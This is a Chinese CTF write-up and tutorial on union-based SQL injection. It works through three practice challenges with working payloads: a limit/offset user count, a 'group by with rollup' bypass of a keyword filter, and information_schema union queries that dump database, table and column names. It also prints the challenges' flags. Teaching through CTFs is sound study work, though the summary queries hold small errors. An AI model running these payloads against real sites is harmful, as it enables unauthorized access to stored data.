概论
联合查询:union可合并两个或多个select语句的结果集,前提是由两条或两条以上的select语句组成,语句之间用关键字union分隔,union中的每个查询的列数必须相同。union会从查询结果集中自动去除了重复行。
利用前提:页面上有显示位。显示位:在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位。
1 | group_concat():让查询获得的数据组成一行显示 |
例题
实验吧 - 因缺思汀的绕过
题目地址:http://www.shiyanbar.com/ctf/1940 解题链接:http://ctf5.shiyanbar.com/web/pcat/index.php
题目内容:访问解题链接去访问题目,可以进行答题。根据web题一般解题思路去解答此题。看源码,请求,响应等。提交与题目要求一致的内容即可返回flag。然后提交正确的flag即可得分。web题主要考察SQL注入,XSS等相关知识。涉及方向较多。此题主要涉及源码审计,MySQL相关的知识。
打开后,查看源码发现有个注释这应该是源码所在的位置了,访问一下(将source.txt复制到当前地址栏里替换index.php)的确是源码
1 |
|
分析下源码(专业点就是源码审计),
1 | $filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)"; |
这行代码就是把$filter中的那些SQL注入的关键字给过滤了,那绕过这个限制只需要不用带这些关键字的SQL语句就行,否则网页返回”水可载舟,亦可赛艇!”
1 | $sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'"; |
将uname作为条件输入,然后通过提交的uname去数据库中查询uname和pwd,然后把查询到的pwd和用户输入的pwd再进行对比
1 | if (mysql_num_rows($query) == 1) |
数据库影响数为1返回结果只能有一条,这是可以使用 limit 的返回来判断数据库中总共有几个人。 可以构造:
1’ or 1 limit 1 offset 0#返回“亦可赛艇!”(1个人)
1’ or 1 limit 1 offset 1#返回“亦可赛艇!”(两个人)
1’ or 1 limit 1 offset 2#返回“一颗赛艇!”(没有第三个人)说明有两个用户
注:limit 1查询一行、offset 2从第二行开始查询
1 | if($key['pwd'] == $_POST['pwd']) { |
传入的pwd和查询出来的结果一致就输出flag否则报错,使if判断为true得到flag,可以利用group by with rollup,group by with rollup会在统计后的产生一条null信息,然后在pwd里不写值,if就为true了。
注:GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。with rollup详解可以看这里
最终payload为
1 | 1' or 1 group by pwd with rollup limit 1 offset 2# |


flag为CTF{with_rollup_interesting}
bugkuCTF - 这是一个神奇的登录框
题目链接:http://123.206.87.240:9001/sql/

先随意输入用户名密码页面返回

找注入点,输入1’,页面返回

输入1“,页面报错返回

说明可以注入,这题按照基本注入步骤就可以了
判断字段个数,输入1”order by 1,2#

输入1”order by 1,2,3#

说明有两列
爆库名:输入1” union select database(),2#,得到库名bugkusql1

爆表名:输入1” union select table_name,2 from information_schema.tables where table_schema=’bugkusql1’ #,得到表名falg1

爆列名(字段):输入1” union select column_name,2 from information_schema.columns where table_name=’flag1’ #,得到列名flag1

查数据:输入1” union select flag1,2 from flag1 #,得到值也就是flaged6b28e684817d9efcaf802979e57aea,提交时要加上flag{}

bugkuCTF - 成绩单
题目链接:http://123.206.87.240:8002/chengjidan/

与上题思路是一样的,依次输入1,2,3都有输出,输入1‘无回显,输入1’#返回龙龙龙的成绩,所以这是字符型注入。
判断字段个数:输入
1 | 1' order by 1# |
都有回显,再往后输入5#时无回显,所以字段数为4
爆库名:输入0’ union select 1,2,3,database()#,不用1是因为id=1我们的东西会被覆盖它会显示龙龙龙的成绩,所以要换一个id,得到库名skctf_flag

爆表名:输入0’ union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#,得到表名fl4g,sc

爆列名(字段):输入0’ union select 1,2,3,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=’fl4g’)#,得到列名skctf_flag

查数据:输入0’ union select 1,2,3,skctf_flag from fl4g#,得到值即flagBUGKU{Sql_INJECT0N_4813drd8hz4}

总结
获取数据库名
1 | select schema_name from information_schema.schemata |
获取表名
1 | select table_name from information_schema.tables |
获取所有列名
1 | select column_name from information_schemata.column() |
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中,把information_schema看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。在information_schema中,有数个只读表,它们实际上是视图,而不是基本表,因此,你将无法看到与之相关的任何文件。
information_schema数据库表说明:
schemata表:提供了当前mysql实例中所有数据库的信息。show databases的结果取之此表。
tables表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。show tables from schemaname的结果取之此表。
columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。show columns from schemaname.tablename的结果取之此表。
statistics表:提供了关于表索引的信息。show index from schemaname.tablename的结果取之此表。
user_privileges(用户权限)表:给出了关于全程权限的信息。该信息源自mysql.user授权表,是非标准表。
schema_privileges(方案权限)表:给出了关于方案(数据库)权限的信息。该信息来自mysql.db授权表,是非标准表。
table_privileges(表权限)表:给出了关于表权限的信息。该信息源自mysql.tables_priv授权表,是非标准表。
column_privileges(列权限)表:给出了关于列权限的信息。该信息源自mysql.columns_priv授权表,是非标准表。
character_sets(字符集)表:提供了mysql实例可用字符集的信息。show character set结果集取之此表。
collations表:提供了关于各字符集的对照信息。
collation_character_set_applicability表:指明了可用于校对的字符集。这些列等效于show collation的前两个显示字段。
table_constraints表:描述了存在约束的表。以及表的约束类型。
key_column_usage表:描述了具有约束的键列。
routimes表:提供了关于存储子程序(存储程序和函数)的信息。此时,routines表不包含自定义函数(udf),名为“mysql.proc name”的列指明了对应于information_schema.routines表的mysql.proc表列。
views表:给出了关于数据库中的视图的信息。需要有show views权限,否则无法查看视图信息。
triggers表:提供了关于触发程序的信息。必须有super权限才能查看该表
参考文章:https://blog.csdn.net/xuchen16/article/details/82785371
可以发现在进行SQL注入时会用到许多SQL函数等,所以掌握SQL注入要多练习正所谓熟能生巧,见得多练得多才能记住每个关键字,函数等的含义和用法。